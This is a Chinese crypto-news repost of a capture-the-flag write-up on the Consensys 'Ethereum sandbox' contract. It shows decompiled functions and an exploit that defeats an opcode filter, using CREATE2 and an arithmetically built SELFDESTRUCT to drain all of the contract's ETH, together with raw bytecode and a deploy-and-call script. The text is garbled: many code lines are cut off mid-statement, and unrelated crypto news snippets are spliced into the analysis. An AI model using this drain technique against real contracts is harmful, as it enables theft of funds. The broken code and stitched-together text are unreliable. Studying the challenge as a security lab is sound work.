比特幣交易所 比特幣交易所
Ctrl+D 比特幣交易所
ads

Consensys CTF - " 以太坊沙盒 "_INT

Author:

Time:1900/1/1 0:00:00

基于samczsun的解析文章學習

分析原文:

本文都是基于https://samczsun

elseif(0x2918435f==function_selector){0x2918435f();}elseif(0x4214352d==function_selector){0x4214352d();}elseif(0x74e3fb3e==function_selector){0x74e3fb3e();}

再看到其的全局變量,一共有兩個,分別在slot0和slot1的位置處。可以看到這兩個全局變量都是uint256數組。

uint256array_0;//STORAGEuint256_owners;//STORAGE

依次分析函數,找到我們感興趣的部分,然后再深入調查該函數,看是否能夠達到我們的目標——拿到該合約的所有ETH。

跨鏈橋Hop測試網已集成ConsenSys zk-EVM:2月26日消息,跨鏈橋Hop Protocol近日宣布,ConsenSys zk-EVM已集成到Hop的測試網站點,當測試網向公眾開放時,用戶將能夠從任何支持的測試網鏈中發送Goerli ETH到新的ConsenSys zk-EVM。

Hop稱,該集成最初是ConsenSys zk-EVM團隊在Hop治理論壇上提出的建議,并一致通過了治理周期的所有階段。[2023/2/26 12:30:18]

首先是函數1:0x4214352d

function0x4214352d(uint256varg0,uint256varg1)publicnonPayable{require(msg

//翻譯一下functionset_array(uint256_value,uint256_key)public{require(msg

TRM Labs推出Web3事件響應通信網絡Beacon Network:金色財經報道,區塊鏈分析公司TRM Labs宣布推出Web3事件響應通信網絡Beacon Network,該網絡能幫助執法人員在發生重大加密黑客攻擊事件之后與加密貨幣交易平臺和其他虛擬資產服務提供商 (VASP) 快速建立聯系,讓受害者可以更快速地找回被竊資金,目前Binance、Circle和Bittrex等加密貨幣交易平臺已經加入該網絡。(Streetinsider)[2022/11/18 13:18:49]

可以看到該函數主要是對array_0進行賦值,在賦值前檢查了兩項:

msg

=>functionget_array(uint256_key)publicviewreturns(uint256){require(msg

與set_array函數類似

再看函數3:owners

ConsenSys完成4.5億美元融資,淡馬錫、微軟等參投:3月15日消息,以太坊基礎設施開發公司ConsenSys完成4.5億美元D輪融資,估值達到70億美元,ParaFiCapital領投,新投資包括淡馬錫、軟銀愿景基金二期、微軟、AnthosCapital、SoundVentures和CVentures,ThirdPoint、MarshallWace、TRUE Capital Management和UTAVC等原有投資參投。

ConsenSys表示,該輪融資的收益將轉換為ETH,以根據ConsenSys的資金策略重新平衡ETH與美元等價物的比率。據介紹,ConsenSys是為Web3創建基礎軟件的先驅,其使命是通過使DAO、NFT和DeFi普遍易于使用、訪問和構建來釋放社區的協作能力。[2022/3/15 13:58:27]

functionowners(uint256varg0)publicnonPayable{require(msg

動態 | ConsenSys將為醫療保健行業構建以太坊解決方案:ConsenSys宣布將分拆其專注于醫療保健和生命科學生態系統的子部門ConsenSys Health,ConsenSys Health將利用ConsenSys的技術能力,為醫療保健行業構建基于以太坊的解決方案。[2020/2/25]

=>functionowners(uint256_key)publicviewreturns(address){require(msg

最后看函數4:0x2918435f

function0x2918435f(addressvarg0)publicpayable{require(msg

v2=1;}require(v0);MEM=MEM(varg0

assert(v5<varg0

v7,v8=varg0

動態 | RChain獲Continue Capital增持500萬枚RHOC:根據 Rchain官方博客消息,Continue Capital已從 RChain Cooperative 進行了第二輪 RHOC 代幣的購買,此次增持與 Testnet-2 的發布有關。據悉,此次Continue Capital 增持 500 萬個 RHOC,使主網完工時間將縮短,預計主網將在未來幾個月推出。[2019/8/13]

require(v7);}

可以看到函數40x2918435f比較復雜,簡單分析函數4中有三層require:

要求調用該函數的msg

v2=1;}require(v0);=>翻譯一下:boolpermit=false;uint256i=0;while(i<_owners

i=1;}require(permit);

3.要求作為傳入參數的地址addr,逐字節檢查該參數地址對應的代碼,要求其中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節。在黃皮書中這幾個字節對應的分別是:create,call,callcode,delegatecall,staticcall,selfdestruct.這部分對應的代碼比較復雜,我們將對比opcode,逐字翻譯```MEM=MEM(varg0

assert(v5<varg0

}

問題分析-2

現在我們需要滿足第三個條件,即構造一個合約,該合約對應的runtimecode中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節,因此需要我們手動來寫合約,然后通過該sandbox的第四個函數來delegatecall該合約,從而清空sandbox中的ETH。

首先明確我們使用create2,其為0xf5,我們可以首先看下黃皮書中關于create2的定義

簡單來說是先計算出要創建的合約的地址,然后執行要創建的合約的初始化代碼,再將該初始化代碼與要創建的合約地址進行關聯。

故我們需要一個合約,他的runtimecode中執行一個create2函數,創建一個臨時合約,并將上下文環境中的address(this)里的全部ETH都作為贈品贈與該臨時合約,該臨時合約的初始化代碼中應該執行selfdestruct(tx.orgin)函數來將所有的ETH轉移給合約部署人。

先用opcode來寫runtimecode:

//tx.origin這里的ORIGIN是payload,不應該被執行,故需要改為push10x32//SELFDESTRUCT//構造payload,因為SELFDESTRUCT是0xff,不能被使用,故可以通過ADD來繞道實現push20x32fe//0x32fepush10x01//0x32fe0x01ADD//0x32ffpush10x40//0x32ff0x40mstore//構造payload0x40->0x32ff,push100//Us->salt鹽push10x04//Us->length長度4push10x3e//us->offset偏移值->內存中0x400x20-0x2=0x3eADDRESSBALANCE//Us->ETH數量->應該是該address(this)的所有ETHcreate2=>6132fe60010160405260006004603e3031f5

在寫該合約的初始化代碼,可以用solidity寫了,因為是我自己執行來部署該runtimecode

contractHackCTF{constructor()publicpayable{assembly{mstore(0x00,0x6132fe60010160405260006004603e3031f5)return(0x0e,0x12。}

然后部署HackCTF合約,在調用ctf中的第四個函數,將該合約的地址作為參數傳進去即可

hacker=HackCTF.deploy({"from":alice})ctf.hack(hacker,{'from':alice})print(alice.balance())

免責聲明:作為區塊鏈信息平臺,本站所發布文章僅代表作者個人觀點,與鏈聞ChainNews立場無關。文章內的信息、意見等均僅供參考,并非作為或被視為實際投資建議。

本文來源于非小號媒體平臺:

登鏈社區

現已在非小號資訊平臺發布105篇作品,

非小號開放平臺歡迎幣圈作者入駐

入駐指南:

/apply_guide/

本文網址:

/news/10087897.html

免責聲明:

1.資訊內容不構成投資建議,投資者應獨立決策并自行承擔風險

2.本文版權歸屬原作所有,僅代表作者本人觀點,不代表非小號的觀點或立場

上一篇:

SendingLabs完成1250萬美元種子輪融資,以構建「Web3通信堆棧」

Tags:CONONSSENINTConcordiumMonster BallFULLSEND幣cointiger交易所老板

比特幣交易
全球首家參與LIKE治理的數字貨幣交易所——ZB_LIBRA

在傳統的互聯網模式下,作家、攝影師、藝術家等創作者在共創協議和其他開放許可下免費共享內容是不會得到報酬的,這意味著大多數獨立創作者無法通過在互聯網上發布他們的作品來獲取相應的回報.

1900/1/1 0:00:00
Gate.io 首發上線Startup項目Chainge(CHNG)及免費空投規則公告(免費瓜分400,000 個CHNG)_HTT

關于Gate.ioStartup免費空投計劃為回饋平臺用戶,Gate.io上線“免費空投計劃”,在Startup區不定期進行區塊鏈項目的免費空投計劃.

1900/1/1 0:00:00
DeFi交易不再需要Gas費?——淺談跨鏈去中心化交易所Dfyn_GAS

引言: Gas費一直是去中心化交易所的一大痛點問題,這一點在以太坊上體現的尤為突出。雖然以太坊5月的gas費相對于4月有所下降,但是平均手續費仍達到每筆20美金左右,對高頻交易仍不友好.

1900/1/1 0:00:00
全新娛樂生態ENTT即將盛大起航,全球矚目_CTI

越來越多的人開始關注身心健康的發展,作為軟文化力量的主導,文娛產業已經成為不可小覷的力量,而且在2020年DeFi類產品的影響下,新一代的NFT產品更多地與DeFi協議相結合.

1900/1/1 0:00:00
NFT市場滑坡,NFT發展的白與黑_NFT

隨著加密貨幣市場遇冷,NFT領域似乎也開始跟著降溫。據Nonfungible.com報告,自5月以來,NFT的整體銷售額從高點1.76億美元,驟降至860萬美元,暴跌了95%.

1900/1/1 0:00:00
庫幣上線Formation Fi (FORM)!全球首發!_SDT

親愛的庫幣用戶: 我們很高興的宣布,庫幣將上線FormationFi(FORM)項目并支持交易對FORM/USDT.

1900/1/1 0:00:00
ads